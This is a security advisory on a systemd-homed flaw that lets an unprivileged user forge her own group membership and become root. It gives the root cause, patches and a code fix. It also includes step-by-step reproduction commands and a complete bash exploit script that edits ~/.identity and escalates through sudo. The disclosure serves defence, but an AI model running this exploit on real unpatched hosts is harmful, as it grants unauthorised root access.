Skip to content

GHSA-jm29-p7hh-vjhv

CVE Information

Impact

systemd-homed contains a local privilege escalation bug via arbitrary system group addition to a local, logged in, homed-managed user

Patches

v262 (https://github.com/systemd/systemd/commit/0755bb125c04adc945c35dfec3349b48a4430075 + https://github.com/systemd/systemd/commit/765dc96746d699229af60e912bac90b710ee5798) v261.2 (https://github.com/systemd/systemd/commit/d392d17143423e7af0cdb5bd0f64b43da8952662 + https://github.com/systemd/systemd/commit/a7bce5b2052bdb098ad0729768c72e1df9a86adc) v260.4 (https://github.com/systemd/systemd/commit/0fb35a3a1578e677529fcd9fbd2a251761eb8f80 + https://github.com/systemd/systemd/commit/b7addfc2f7094670c4e3d6776e2d2fde298b2ebc) v259.8 (https://github.com/systemd/systemd/commit/4365d4a3b734e6ef6feecb4250ba3cd3edc42a23 + https://github.com/systemd/systemd/commit/7de1a48462ca936192570736441cd5243228a77f) v258.10 (https://github.com/systemd/systemd/commit/8735bb63b7902b6824f4d171bca994252eb04a71 + https://github.com/systemd/systemd/commit/04cba0a78da9d161c2f6426751d0460fb8193263)

Workarounds

Remove privileged system groups from the system (e.g.: sudo, wheel)

References

Original report follows

Affected component

  • Package: systemd — systemd-homed (systemd-homed.service, systemd-homework).
  • Configuration: default. Any host that manages users with homectl/homed.
  • Affected versions: all releases of systemd-homed — v245 through v261 and current main. The home_authenticating_finish handler has stored the worker record without signature verification since homed was first introduced in commit 70a5db5822c ("home: add new systemd-homed service that can manage LUKS homes", 2019-07-04, first released in v245); git blame confirms the store line (homed-home.c:1112) is unchanged since that commit, and the sibling verify calls were added in the same commit and never extended to this handler. The bug is present unchanged at v261 and on main.
  • CWE: CWE-347 (Improper Verification of Cryptographic Signature); CWE-269 (Improper Privilege Management).
  • Severity: High. Suggested CVSS 3.1 8.8AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (local, existing unprivileged homed user, no interaction, scope change user→root). Adjust AC if you consider the "keep-home-active + one fresh login" precondition to raise attack complexity.

Summary

systemd-homed adopts the home (user) record returned by its worker/helper process (systemd-homework) into the manager's authoritative in-memory state without verifying the record's cryptographic signature on the authenticate code path — unlike the fixate and activate paths, which call home_verify_user_record() first. (The worker runs as root but does not hold homed's signing keys — signature verification is architecturally the manager's responsibility, so a record that reaches the manager unverified is trusted by nothing.) Because record reconciliation selects the winning record purely by timestamp (no signature check) and honors the user-writable embedded ~/.identity, a homed-managed user can forge security-relevant fields of her own record (memberOf, locked, notAfterUSec, pkcs11TokenUri, fido2HmacCredential, rateLimit*), have homed adopt and serve them over io.systemd.UserDatabase, and escalate to root.

homed's entire trust model is that the user does not control the security-relevant fields of her own record — those are protected by a signature made with a key only homed holds. This path breaks that model.

Root cause

The worker holds no signing keys; the manager must re-verify any worker-returned record against homed's trusted keys before adopting it. Two of the three worker completion handlers do:

  • home_fixate_finish()home_verify_user_record(h, hr, …) (src/home/homed-home.c:750) before home_set_record(h, hr) (:754).
  • home_activate_finish()home_verify_user_record(h, hr, …) (:841) before home_set_record(h, hr) (:845).

The third does not:

/* src/home/homed-home.c — home_authenticating_finish() */
if (hr) {
        r = home_set_record(h, hr);          /* :1112 — NO home_verify_user_record() */
        if (r < 0)
                log_warning_errno(r, "Failed to update home record, ignoring: %m");
        else {
                r = user_record_good_authentication(h->record);
                ...
                r = home_save_record(h);      /* persists the unverified record */
        }
}

The record adopted here is fully user-controlled and never signature-checked earlier on this path:

  1. home_authenticate() (:1539) → home_authenticate_internal() (:1524) → home_start_work(h, "inspect", h->record, secret, …) (:1531). Completion routes to home_authenticating_finish() (:1211) for HOME_AUTHENTICATING / HOME_AUTHENTICATING_WHILE_ACTIVE / HOME_AUTHENTICATING_FOR_ACQUIRE.
  2. The worker inspect (src/home/homework.c:1845) → home_load_embedded_identity(…, USER_RECONCILE_ANY, …) (:1867) reads the user-owned ~/.identity (read_identity_file, homework.c:561; the file is created 0600 and fchowned to the user, write_identity_file :601/:620).
  3. user_record_reconcile() (src/home/user-record-util.c:180) chooses the winner solely by last_change_usec (:221-272): a newer embedded record wins (USER_RECONCILE_EMBEDDED_WON). There is no signature check in the reconcile.
  4. user_record_authenticate() (homework.c:59) tests only the password/token — never the signature — so the user's unchanged password authenticates the tampered record.
  5. home_set_record()/suitable_home_record() (:268/:68) validate only name/realm/uid/gid suitability — they do not gate memberOf or any of the other security fields.

The adopted record then crosses a privilege boundary: vl_method_get_memberships() (src/home/homed-varlink.c:301) serves h->record->member_of verbatim over io.systemd.UserDatabase (bound on /run/systemd/userdb/io.systemd.Home, homed-manager.c:1083), with no signature or trust gate — member_of is a regular field. nss-systemd's initgroups turns those memberships into real supplementary GIDs for any newly-established session.

The homectl authenticate verb is authorized for the record's owner with no admin credential: bus_home_method_authenticate() calls home_verify_polkit_async(h, message, "org.freedesktop.home1.authenticate-home", h->uid, error) (src/home/homed-home-bus.c:407) — passing good_uid = h->uid, which bypasses the polkit admin check for the owner.

Note that homed already knows this exact escalation: the online update path (user_record_self_changes_allowed, src/shared/user-record.c:2515) carries a comment describing the memberOf:["wheel"] self-escalation and deliberately computes the self-modifiable allowlist from the current record, not the incoming one. That guard protects Update()/ChangePassword() — but the offline inspect/authenticate adoption path bypasses it.

Reproduction (disposable VM only — this yields real root)

Do not run this on a production or shared host: on success an unprivileged user obtains root. Use a throwaway VM/snapshot.

Preconditions on a fresh VM with systemd (v246+):

# as root
systemctl enable --now systemd-homed
grep -E '^\s*%wheel\b' /etc/sudoers                # this walkthrough targets Fedora/Arch,
                                                   # where %wheel grants sudo
grep -E '^(passwd|group):' /etc/nsswitch.conf      # confirm 'systemd' is listed (homed default)

This manual walkthrough targets Debian/Ubuntu, where the %sudo group grants sudo. On Fedora/Arch, substitute wheel for sudo in every command below (the group that appears in /etc/sudoers on that distro). The turnkey script further down auto-detects %sudo vs %wheel.

0. Create an ordinary, unprivileged homed user

# as root — --storage=directory keeps the PoC deterministic (no LUKS image); the bug is
# backend-agnostic, so the system default storage works too.
homectl create alice --storage=directory --shell=/bin/bash   # set a password, e.g. "alicepw"
id alice                                          # groups=…(alice) — NO sudo

1. As alice, activate the home and confirm she cannot sudo

machinectl shell alice@                           # (or: ssh alice@localhost / VT login)
# ---- now inside alice's session; her home is active/mounted ----
id                                                # no sudo group
sudo id                                           # DENIED: "alice is not in the sudoers file"
ls -l ~/.identity                                 # -rw------- alice alice   (hers, 0600)

2. As alice, forge her own record: add sudo + bump the timestamp (no re-sign)

umask 077
jq '.memberOf = ["sudo"] | .lastChangeUSec = (.lastChangeUSec + 3600000000)' \
    ~/.identity > ~/.identity.new
mv -f ~/.identity.new ~/.identity
chmod 600 ~/.identity
# The signature section (if present) is now stale/invalid. That is irrelevant:
# nothing checks it on the authenticate path.
# (lastChangeUSec ~1.7e15 is well below 2^53, so jq's number handling is exact.)

3. As alice, trigger adoption of the forged record

homectl authenticate alice                        # enter alice's real password ("alicepw")
This runs the worker inspect; the forged (newer) embedded record wins the reconcile; home_authenticating_finish stores it into h->record without verifying the signature.

4. Observe the forged membership crossing into NSS (from any context)

# from alice's session, or from root, or anywhere:
id alice                                          # now shows the sudo group (e.g. …,27(sudo))
getent group sudo                                 # alice now listed
homectl inspect alice | grep -i member            # Member Of: sudo

5. Escalate: a fresh login picks up the group, then sudo → root

su - alice                                        # fresh initgroups(); enter alice's password
# ---- new shell ----
id                                                # gid list now includes the sudo group
sudo id                                           # uid=0(root)  ← PRIVILEGE ESCALATION

Before/after money shot: in step 1 sudo id was denied; after the attack and one fresh login, sudo id returns uid=0(root). alice was never granted sudo by an administrator.

Turnkey reproduction script (PASS/FAIL)

The same steps as a single self-contained script. It auto-detects the sudo-granting group (%sudo/%wheel), creates the user, forges the record as the user, triggers adoption, asserts the forged membership is served by NSS, attempts the fresh-login sudo → root, and cleans up on exit. Run only in a disposable VM (on success an unprivileged user gains root). Requires jq.

#!/usr/bin/env bash
# systemd-homed SEC-026 PoC — RUN ONLY IN A DISPOSABLE VM (yields real root).
set -u
USER_NAME=poc_alice
USER_PW='poc-Password-123'          # the user's real password (she keeps it; auth still works)
FAIL=0
say()  { printf '\n=== %s ===\n' "$*"; }
ok()   { printf '  [PASS] %s\n' "$*"; }
bad()  { printf '  [FAIL] %s\n' "$*"; FAIL=1; }
info() { printf '  [info] %s\n' "$*"; }

[ "$(id -u)" -eq 0 ] || { echo "run as root (in a VM)"; exit 2; }
command -v jq >/dev/null      || { echo "install jq first"; exit 2; }
command -v homectl >/dev/null || { echo "homectl not found — systemd-homed required"; exit 2; }
systemctl is-active --quiet systemd-homed || systemctl start systemd-homed

SUDO_GROUP=$(grep -oPm1 '^\s*%\K(wheel|sudo)' /etc/sudoers 2>/dev/null || true)
[ -n "$SUDO_GROUP" ] || { info "no %sudo/%wheel rule found; group injection still proven, root not demonstrable"; SUDO_GROUP=sudo; }
info "targeting privileged group: $SUDO_GROUP"

cleanup() { say "cleanup"; loginctl disable-linger "$USER_NAME" 2>/dev/null||true; homectl deactivate "$USER_NAME" 2>/dev/null||true; homectl remove "$USER_NAME" 2>/dev/null||true; }
trap cleanup EXIT

say "0. create an ordinary, unprivileged homed user (NOT in $SUDO_GROUP)"
homectl remove "$USER_NAME" 2>/dev/null || true
NEWPASSWORD="$USER_PW" homectl create "$USER_NAME" --storage=directory --shell=/bin/bash || { echo "create failed"; exit 2; }
# Activate (unlock+mount) the home so ~/.identity exists/editable and the later authenticate
# runs WHILE_ACTIVE. enable-linger cannot unlock the home (no password), so activate explicitly.
PASSWORD="$USER_PW" homectl activate "$USER_NAME" || { echo "activate failed"; exit 2; }
loginctl enable-linger "$USER_NAME" 2>/dev/null || true
sleep 1
HOMEDIR=$(getent passwd "$USER_NAME" | cut -d: -f6)
{ [ -n "$HOMEDIR" ] && [ -f "$HOMEDIR/.identity" ]; } || { echo "home not active / .identity missing (state=$(homectl --value -p State inspect "$USER_NAME" 2>/dev/null))"; exit 2; }
info "home active at $HOMEDIR ; identity: $(ls -l "$HOMEDIR/.identity")  <-- 0600, user-owned"

say "1. BEFORE: user is not privileged"
id -nG "$USER_NAME" | tr ' ' '\n' | grep -qx "$SUDO_GROUP" && bad "already in $SUDO_GROUP" || ok "id shows NO $SUDO_GROUP"
runuser -l "$USER_NAME" -c 'sudo -n true' 2>/dev/null && bad "user could already sudo" || ok "fresh session cannot sudo"

say "2. forge the user's OWN ~/.identity: add $SUDO_GROUP + bump lastChangeUSec (unsigned)"
runuser -u "$USER_NAME" -- bash -c "
  set -e; umask 077
  jq '.memberOf = ((.memberOf // []) + [\"$SUDO_GROUP\"] | unique) | .lastChangeUSec = ((.lastChangeUSec // 0) + 3600000000)' \
     '$HOMEDIR/.identity' > '$HOMEDIR/.identity.new'
  mv -f '$HOMEDIR/.identity.new' '$HOMEDIR/.identity'; chmod 600 '$HOMEDIR/.identity'
" || { bad "could not edit ~/.identity as the user"; exit 1; }
ok "user rewrote her own ~/.identity (memberOf += $SUDO_GROUP, timestamp bumped, signature now stale)"

say "3. trigger adoption: homectl authenticate (owner-authorized, only the user's own password)"
runuser -l "$USER_NAME" -c "PASSWORD='$USER_PW' homectl authenticate '$USER_NAME'" \
  && ok "authenticate ok (forged record adopted WITHOUT verify)" || bad "authenticate failed (see journalctl -u systemd-homed)"

say "4. RESULT: forged group is now served by the system identity DB"
sleep 1
if id -nG "$USER_NAME" | tr ' ' '\n' | grep -qx "$SUDO_GROUP"; then ok "id $USER_NAME now reports $SUDO_GROUP  <-- crossed into NSS"; else bad "id does not show $SUDO_GROUP"; fi
info "id $USER_NAME -> $(id "$USER_NAME" 2>/dev/null)"

say "5. ESCALATE: a fresh session picks up the group -> sudo -> root"
OUT=$(runuser -l "$USER_NAME" -c "id; echo ---; sudo -n id 2>/dev/null || echo 'sudo-needs-password'")
printf '%s\n' "$OUT" | sed 's/^/  /'
if printf '%s' "$OUT" | grep -q 'uid=0(root)'; then ok "ROOT: fresh $USER_NAME session reached uid=0 via sudo"
elif printf '%s' "$OUT" | grep -q "$SUDO_GROUP"; then ok "forged $SUDO_GROUP present in a real fresh-login credential set (sudo needs the user's password for %$SUDO_GROUP)"
else bad "fresh session did not gain $SUDO_GROUP"; fi

say "VERDICT"
[ "$FAIL" -eq 0 ] && echo "  >>> VULNERABLE: unprivileged homed user injected herself into '$SUDO_GROUP'. A fixed homed shows NO $SUDO_GROUP at step 4." || echo "  >>> Not reproduced — see output + journalctl -u systemd-homed."
exit "$FAIL"

Expected behavior with the fix

homectl authenticate rejects the forged record because its signature does not verify against homed's key; h->record stays clean; id alice never shows wheel.

Notes / robustness

  • Keep the home active during the window: the bad-signature record is dropped by manager_verify_user_record() on homed restart/SIGHUP (manager_enumerate_recordshomed-manager.c:428) and by home_activate_finish/home_fixate_finish on a full deactivate→activate cycle (homed-home.c:750/:841). While the home stays active it is trivially re-poisoned by repeating steps 2–3.
  • Existing processes are not retro-actively escalated (supplementary GIDs are fixed at login), which is why step 5 uses a fresh initgroups (su -/new login) — trivial for a local user.
  • Backend-agnostic: works for luks, directory, subvolume, fscrypt, etc., because ~/.identity is edited inside the active (mounted) home.

Impact

  • Privilege escalation to root via forged group membership (memberOfsudo/ wheel/docker/disk/shadow/…).
  • Account lock / expiry bypass: clearing locked or resetting notBeforeUSec/notAfterUSec in the user's own record re-enables an administratively locked or expired account.
  • Authentication downgrade: dropping fido2HmacCredential/pkcs11TokenUri removes a required second factor for future unlocks; lowering rateLimit* weakens anti-bruteforce.

All from data the unprivileged user legitimately owns, with no administrator credential.

Suggested fix

Verify before adopting, exactly like the sibling handlers:

/* src/home/homed-home.c — home_authenticating_finish() */
if (hr) {
        bool signed_locally;

        r = home_verify_user_record(h, hr, &signed_locally, &error);   /* ADD */
        if (r < 0)
                goto finish;

        r = home_set_record(h, hr);
        if (r < 0)
                log_warning_errno(r, "Failed to update home record, ignoring: %m");
        else {
                h->signed_locally = signed_locally;                    /* ADD */
                r = user_record_good_authentication(h->record);
                ...
        }
}

(Mirror of home_activate_finish at homed-home.c:841-845. The finish: error label and sd_bus_error are already present in home_authenticating_finish.)

Verification

Every load-bearing line above was read from upstream source; the line numbers match tag v261 (and current main). The full exploit chain was traced end-to-end through the code — from the missing verification in home_authenticating_finish (homed-home.c:1112), to the timestamp-only reconcile (user-record-util.c:221-272), to the raw member_of service over io.systemd.UserDatabase (homed-varlink.c:301), to the owner-scoped polkit bypass (homed-home-bus.c:407). No live proof-of-concept was executed (it would create a real root escalation on the test host); the reproduction above is written for a disposable VM.